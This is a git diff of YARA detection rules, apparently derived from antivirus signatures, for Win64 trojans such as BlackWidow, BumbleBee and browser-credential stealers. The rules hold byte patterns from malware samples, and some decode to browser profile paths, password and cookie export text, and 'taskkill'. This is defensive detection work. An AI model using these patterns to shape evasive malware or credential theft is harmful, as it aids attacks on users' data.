b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLW_MTB.yar new file mode 100644 index 0000000000..4a663c2227 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_BlackWidow_BLW_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BLW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_01_0 = {66 0f fd c1 66 0f f9 d0 66 0f 6f cd 44 30 14 0f 66 0f 6c ca 66 0f fd da 66 0f f9 d0 66 0f 69 d0 66 0f 6f c3 66 0f 6c d3 66 0f 6d cf } //5 + $a_01_1 = {66 0f f9 d0 48 ff c1 66 0f f9 cb 66 0f 6d cc } //4 + $a_01_2 = {66 0f fd da 48 89 c8 66 0f 6f c1 } //3 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4+(#a_01_2 & 1)*3) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLX_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLX_MTB.yar new file mode 100644 index 0000000000..c35f93d0ea --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BLX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_BlackWidow_BLX_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BLX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_01_0 = {66 0f 38 1d e0 66 0f 6f c8 44 30 14 0f 66 0f 6c d7 66 0f 38 30 c1 66 0f 38 1d c1 66 0f 6f cd } //5 + $a_01_1 = {66 0f 6d da 66 0f 6c e3 48 ff c1 66 0f 6f d1 66 0f 38 30 c1 } //4 + $a_01_2 = {66 0f 6f d8 48 89 c8 66 0f 69 d0 66 0f 6c d1 } //3 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4+(#a_01_2 & 1)*3) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BY_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BY_MTB.yar new file mode 100644 index 0000000000..c8fd55e4fa --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_BY_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_BlackWidow_BY_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.BY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {44 30 14 0f } //2 い༔ + $a_01_1 = {c4 e3 fd 00 ff d8 45 8a 14 10 } //1 + $a_01_2 = {c5 cd 71 d6 08 c5 cd db f7 } //1 + $a_01_3 = {c4 e3 fd 00 f6 d8 c4 e3 fd 00 ff d8 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_CCJW_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_CCJW_MTB.yar new file mode 100644 index 0000000000..820f413b45 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_CCJW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BlackWidow_CCJW_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.CCJW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 98 48 89 84 24 ?? ?? ?? ?? 33 d2 48 8b 8c 24 ?? ?? ?? ?? 48 8b c1 48 8b 8c 24 ?? ?? ?? ?? 48 f7 f1 0f b6 84 04 ?? ?? ?? ?? 8b 4c 24 58 33 c8 8b c1 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_ERD_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_ERD_MTB.yar new file mode 100644 index 0000000000..1c31cf1fab --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_ERD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BlackWidow_ERD_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.ERD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 8b d0 c1 ea 18 88 14 01 41 8b d0 ff 05 87 0b 01 00 8b 05 c1 0b 01 00 01 83 58 01 00 00 48 8b 05 cc 0b 01 00 48 63 8b ?? ?? ?? ?? c1 ea 10 88 14 01 41 8b d0 ff 83 ?? ?? ?? ?? 48 8b 0d b7 0a 01 00 c1 ea 08 8b 81 1c 01 00 00 33 05 28 0c 01 00 35 8a 56 0f 00 89 81 1c 01 00 00 48 63 0d 36 0b 01 00 48 8b 83 e8 00 00 00 88 14 01 ff 05 26 0b 01 00 48 63 8b ?? ?? ?? ?? 48 8b 83 e8 00 00 00 44 88 04 01 ff 83 ?? ?? ?? ?? 49 81 f9 c0 5d 00 00 0f 8c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVO_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVO_MTB.yar index 3e859f57d4..acca7fca63 100644 --- a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVO_MTB.yar +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVO_MTB.yar @@ -4,8 +4,8 @@ rule Trojan_Win64_BlackWidow_GVO_MTB{ description = "Trojan:Win64/BlackWidow.GVO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : - $a_01_0 = {48 03 c2 48 c1 e8 04 48 6b c0 19 48 2b c8 48 8b 45 0f 0f b6 4c 0d 27 43 32 4c 10 ff 41 88 4c 00 ff 3b 5d 07 } //1 + $a_02_0 = {48 2b c8 48 8b 45 ?? 0f b6 4c 0d ?? 43 32 4c 10 ff 41 88 4c 00 ff 3b 5d } //1 condition: - ((#a_01_0 & 1)*1) >=1 + ((#a_02_0 & 1)*1) >=1 } \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVP_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVP_MTB.yar deleted file mode 100644 index 5767eafdc9..0000000000 --- a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVP_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win64_BlackWidow_GVP_MTB{ - meta: - description = "Trojan:Win64/BlackWidow.GVP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {48 c1 ea 04 48 6b c2 11 48 2b c8 48 8b 45 1f 0f b6 4c 0d 37 43 32 4c 10 ff 41 88 4c 00 ff 3b 5d 17 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVR_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVR_MTB.yar new file mode 100644 index 0000000000..8b2b239c01 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BlackWidow_GVR_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.GVR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {48 f7 f1 48 8b c2 0f b6 84 04 ?? ?? ?? ?? 8b 4c 24 5c 33 c8 8b c1 48 63 4c 24 50 48 8b 54 24 60 88 04 0a } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVS_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVS_MTB.yar new file mode 100644 index 0000000000..d93dfc3193 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVS_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_BlackWidow_GVS_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.GVS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {49 81 c0 c6 cf 0e 00 c5 f5 fd f9 } //2 + $a_01_1 = {45 8a 14 10 } //1 + $a_01_2 = {44 30 14 0f } //1 い༔ + $a_01_3 = {48 ff c1 0f 28 f0 } //1 + $a_01_4 = {48 89 c8 66 44 0f 38 de c1 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVT_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVT_MTB.yar new file mode 100644 index 0000000000..86950ef118 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BlackWidow_GVT_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.GVT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {48 0f af c8 48 8b c1 0f b6 84 04 ?? ?? ?? ?? 8b 4c 24 68 33 c8 8b c1 48 63 4c 24 50 48 8b 54 24 58 88 04 0a } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVU_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVU_MTB.yar new file mode 100644 index 0000000000..fcfc9e235d --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVU_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_BlackWidow_GVU_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.GVU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {66 0f f9 d1 49 f7 f0 66 0f 6f c1 } //2 + $a_01_1 = {45 8a 14 11 66 0f 6d ea } //1 + $a_01_2 = {44 30 14 0f 66 0f 6f d8 } //1 + $a_01_3 = {66 0f 6c c2 48 ff c1 66 0f dd e0 } //1 + $a_01_4 = {66 0f 6f d1 48 81 f9 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVW_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVW_MTB.yar new file mode 100644 index 0000000000..7f0b169c35 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_GVW_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_BlackWidow_GVW_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.GVW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {66 0f fd c2 45 8a 14 11 66 0f 38 30 c1 } //2 + $a_01_1 = {66 0f 69 d0 44 30 14 0f 66 0f 6f cb } //1 + $a_01_2 = {66 0f 62 c2 48 ff c1 66 0f dd e6 } //1 + $a_01_3 = {66 0f 6c d1 48 89 c8 66 0f dd e0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_MKA_MTB.yar b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_MKA_MTB.yar new file mode 100644 index 0000000000..64bfa1e6b0 --- /dev/null +++ b/Trojan/Win64/BlackWidow/Trojan_Win64_BlackWidow_MKA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BlackWidow_MKA_MTB{ + meta: + description = "Trojan:Win64/BlackWidow.MKA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f af c8 8b c1 48 98 48 8b 8c 24 ?? ?? ?? ?? 48 2b c8 48 8b c1 0f b6 84 04 ?? ?? ?? ?? 8b 4c 24 68 33 c8 8b c1 48 63 4c 24 50 48 8b 54 24 58 88 04 0a e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Bodegun/Trojan_Win64_Bodegun_ABD_MTB.yar b/Trojan/Win64/Bodegun/Trojan_Win64_Bodegun_ABD_MTB.yar new file mode 100644 index 0000000000..e5bf2de210 --- /dev/null +++ b/Trojan/Win64/Bodegun/Trojan_Win64_Bodegun_ABD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bodegun_ABD_MTB{ + meta: + description = "Trojan:Win64/Bodegun.ABD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {80 f1 55 48 8d 7f 01 49 3b d0 73 ?? 48 8d 42 01 48 89 45 bf 48 8d 45 af 49 83 f8 0f 48 0f 47 45 af 88 0c 10 c6 44 10 01 00 eb 0d 44 0f b6 c9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Boldbadger/Trojan_Win64_Boldbadger_GA_MTB.yar b/Trojan/Win64/Boldbadger/Trojan_Win64_Boldbadger_GA_MTB.yar new file mode 100644 index 0000000000..e13fbc3597 --- /dev/null +++ b/Trojan/Win64/Boldbadger/Trojan_Win64_Boldbadger_GA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Boldbadger_GA_MTB{ + meta: + description = "Trojan:Win64/Boldbadger.GA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {c6 44 24 60 61 c6 44 24 61 63 c6 44 24 62 39 c6 44 24 63 5a c6 44 24 64 73 c6 44 24 65 77 c6 44 24 66 00 } //1 + $a_01_1 = {32 84 19 dc 78 1c 00 48 8b 54 24 38 88 04 0a 48 83 c1 01 48 39 4c 24 40 77 ba } //2 + $a_01_2 = {48 89 c8 49 89 c8 48 89 cf 49 f7 e1 49 29 d0 49 d1 e8 4c 01 c2 48 c1 ea 04 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/BroPass/Trojan_Win64_BroPass_C_MTB.yar b/Trojan/Win64/BroPass/Trojan_Win64_BroPass_C_MTB.yar new file mode 100644 index 0000000000..90604b2066 --- /dev/null +++ b/Trojan/Win64/BroPass/Trojan_Win64_BroPass_C_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_BroPass_C_MTB{ + meta: + description = "Trojan:Win64/BroPass.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 00 " + + strings : + $a_01_0 = {42 72 61 76 65 53 6f 66 74 77 61 72 65 2f 42 72 61 76 65 2d 42 72 6f 77 73 65 72 2f 55 73 65 72 20 44 61 74 61 2f } //2 BraveSoftware/Brave-Browser/User Data/ + $a_01_1 = {47 6f 6f 67 6c 65 2f 43 68 72 6f 6d 65 20 42 65 74 61 2f 55 73 65 72 20 44 61 74 61 } //2 Google/Chrome Beta/User Data + $a_01_2 = {4d 6f 7a 69 6c 6c 61 2f 46 69 72 65 66 6f 78 2f 50 72 6f 66 69 6c 65 73 } //2 Mozilla/Firefox/Profiles + $a_01_3 = {45 78 70 6f 72 74 20 70 61 73 73 77 6f 72 64 73 2f 63 6f 6f 6b 69 65 73 2f 68 69 73 74 6f 72 79 2f 62 6f 6f 6b 6d 61 72 6b 73 20 66 72 6f 6d 20 62 72 6f 77 73 65 72 } //2 Export passwords/cookies/history/bookmarks from browser + $a_01_4 = {68 61 63 6b 2d 62 72 6f 77 73 65 72 2d 64 61 74 61 } //3 hack-browser-data + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*3) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/BrowserStealer/Trojan_Win64_BrowserStealer_GVA_MTB.yar b/Trojan/Win64/BrowserStealer/Trojan_Win64_BrowserStealer_GVA_MTB.yar new file mode 100644 index 0000000000..fbf2b7ec26 --- /dev/null +++ b/Trojan/Win64/BrowserStealer/Trojan_Win64_BrowserStealer_GVA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_BrowserStealer_GVA_MTB{ + meta: + description = "Trojan:Win64/BrowserStealer.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_01_0 = {48 d3 ea 41 8b c8 48 d3 e0 40 0f b6 cf 48 8b 7c 24 40 0a d0 41 0f b6 c2 d2 e0 41 0f b6 c9 41 d2 ea 41 0a c2 32 d0 0f b6 c2 } //3 + $a_00_1 = {63 00 68 00 72 00 6f 00 6d 00 65 00 } //1 chrome + $a_00_2 = {66 00 69 00 72 00 65 00 66 00 6f 00 78 00 } //1 firefox + $a_00_3 = {6f 00 70 00 65 00 72 00 61 00 } //1 opera + $a_00_4 = {62 00 72 00 61 00 76 00 65 00 } //1 brave + $a_00_5 = {74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 } //3 taskkill /IM + condition: + ((#a_01_0 & 1)*3+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*3) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/Bullish/Trojan_Win64_Bullish_A_dha.yar b/Trojan/Win64/Bullish/Trojan_Win64_Bullish_A_dha.yar new file mode 100644 index 0000000000..d001fc2675 --- /dev/null +++ b/Trojan/Win64/Bullish/Trojan_Win64_Bullish_A_dha.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Bullish_A_dha{ + meta: + description = "Trojan:Win64/Bullish.A!dha,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 00 " + + strings : + $a_01_0 = {6d 73 6b 6d 64 6a 77 6f } //1 mskmdjwo + $a_01_1 = {64 65 6a 66 6f 77 68 66 6a 77 6c 66 65 6b 6a 66 4a 4f 49 } //1 dejfowhfjwlfekjfJOI + $a_01_2 = {64 6a 76 6f 32 6f 65 6a 66 32 } //1 djvo2oejf2 + $a_01_3 = {72 6f 6d 73 69 66 6c } //1 romsifl + $a_01_4 = {70 6f 65 70 6f 66 6a 6f 77 } //1 poepofjow + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Bullish/Trojan_Win64_Bullish_B_dha.yar b/Trojan/Win64/Bullish/Trojan_Win64_Bullish_B_dha.yar new file mode 100644 index 0000000000..4e563219c3 --- /dev/null +++ b/Trojan/Win64/Bullish/Trojan_Win64_Bullish_B_dha.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Bullish_B_dha{ + meta: + description = "Trojan:Win64/Bullish.B!dha,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {68 6b 77 68 6b 68 66 77 77 } //1 hkwhkhfww + $a_01_1 = {68 66 77 65 68 6a 6b 77 68 65 66 71 } //1 hfwehjkwhefq + $a_01_2 = {6a 4a 68 71 77 68 6a 68 64 71 } //1 jJhqwhjhdq + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_BH_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_BH_MTB.yar new file mode 100644 index 0000000000..97997c8cce --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_BH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_BumbleBee_BH_MTB{ + meta: + description = "Trojan:Win64/BumbleBee.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {48 8b 00 48 33 c1 48 89 84 24 ?? ?? 00 00 8b 84 24 ?? ?? 00 00 99 48 8b 8c 24 ?? ?? 00 00 f7 39 48 8b 8c 24 ?? ?? 00 00 89 01 } //2 + $a_03_1 = {48 03 c8 48 8b c1 48 89 84 24 ?? 00 00 00 48 8b 44 24 ?? 0f bf 00 0f bf 4c 24 ?? 33 c1 48 8b 4c 24 ?? 66 89 01 48 } //2 + $a_81_2 = {6c 57 36 7a 5c 4d 61 63 68 6f 70 6f 6c 79 70 5c 43 6f 79 69 73 68 5c 38 6a 46 6d 67 6b 5c 64 51 } //1 lW6z\Machopolyp\Coyish\8jFmgk\dQ + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_81_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GLA_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GLA_MTB.yar new file mode 100644 index 0000000000..c79a05cb90 --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GLA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BumbleBee_GLA_MTB{ + meta: + description = "Trojan:Win64/BumbleBee.GLA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 c2 8b 45 e8 89 d1 31 c1 8b 55 fc 48 8b 45 f0 48 01 d0 89 ca 88 10 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GVA_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GVA_MTB.yar new file mode 100644 index 0000000000..15c14df756 --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BumbleBee_GVA_MTB{ + meta: + description = "Trojan:Win64/BumbleBee.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {40 30 1e 48 81 c6 01 00 00 00 48 81 c3 83 31 30 f9 49 81 eb 01 00 00 00 0f 85 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_TL_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_TL_MTB.yar new file mode 100644 index 0000000000..a841e53da8 --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_BumbleBee_TL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_BumbleBee_TL_MTB{ + meta: + description = "Trojan:Win64/BumbleBee.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 bd bb bb 54 a7 f8 f7 51 92 49 ba 00 c4 17 00 00 00 00 00 44 30 2e 48 81 c6 01 00 00 00 49 81 c5 1c 77 11 09 49 81 ea 01 00 00 00 0f 85 e2 ff ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AHB_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AHB_MTB.yar new file mode 100644 index 0000000000..42c641fe0e --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AHB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bumblebee_AHB_MTB{ + meta: + description = "Trojan:Win64/Bumblebee.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_03_0 = {89 45 a4 66 c7 45 a0 02 00 b9 50 00 00 00 48 8b ?? ?? ?? ?? 00 ff d0 66 89 45 a2 48 8d 55 a0 48 8b 85 58 01 00 00 41 b8 10 00 00 00 48 89 c1 48 8b ?? ?? ?? ?? 00 ff d0 } //3 + condition: + ((#a_03_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AZL_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AZL_MTB.yar new file mode 100644 index 0000000000..1c5b6681ff --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_AZL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bumblebee_AZL_MTB{ + meta: + description = "Trojan:Win64/Bumblebee.AZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 00 0f b6 8c 24 69 9a 01 00 2b c1 48 8b 8c 24 f0 01 00 00 88 01 e8 ?? ?? ?? ?? 48 8b 80 f8 0f 00 00 48 8b 8c 24 98 ca 00 00 48 89 4c 24 20 45 33 c9 45 33 c0 ba 02 00 00 00 48 8b 8c 24 ?? 60 01 00 ff 50 48 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_MPG_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_MPG_MTB.yar new file mode 100644 index 0000000000..a199f6d47b --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_MPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bumblebee_MPG_MTB{ + meta: + description = "Trojan:Win64/Bumblebee.MPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {99 f7 f9 88 84 24 11 18 00 00 48 8d 05 aa cf 0b 00 48 89 84 24 e0 9b 02 00 0f be 05 53 43 02 00 48 8b 8c 24 80 60 01 00 0f be 09 d3 f8 48 8b 8c 24 c0 27 02 00 88 01 48 8b 84 24 ?? ?? ?? ?? 0f bf 00 89 84 24 a0 a0 01 00 81 bc 24 a0 a0 01 00 c2 3c 00 00 74 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_PPG_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_PPG_MTB.yar new file mode 100644 index 0000000000..15777f8f25 --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_PPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bumblebee_PPG_MTB{ + meta: + description = "Trojan:Win64/Bumblebee.PPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f be 09 0b c1 88 84 24 08 b9 00 00 c7 84 24 ?? ?? ?? ?? 99 00 f1 aa 8b 84 24 9c a7 00 00 8b 8c 24 9c 9c 00 00 2b c8 8b c1 89 84 24 ?? b4 01 00 8b 84 24 c8 58 01 00 99 48 8b 8c 24 88 30 01 00 f7 39 8b 8c 24 ?? b4 01 00 3b c8 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_VZB_MTB.yar b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_VZB_MTB.yar new file mode 100644 index 0000000000..a90aa16ba5 --- /dev/null +++ b/Trojan/Win64/BumbleBee/Trojan_Win64_Bumblebee_VZB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Bumblebee_VZB_MTB{ + meta: + description = "Trojan:Win64/Bumblebee.VZB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {4d 63 c1 41 f7 fa 41 ff c2 34 27 0f b6 c8 43 0f b6 04 30 0f af c1 43 88 04 30 8b 15 cc 6b 18 00 8d 04 12 81 f2 29 0c 00 00 48 63 c8 48 8b 05 7d 6b 18 00 21 14 88 0f b6 0d ?? ?? ?? ?? 48 8b 05 64 6b 18 00 44 3b 14 88 7d } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CerbuCrypt/Trojan_Win64_CerbuCrypt_SV_MTB.yar 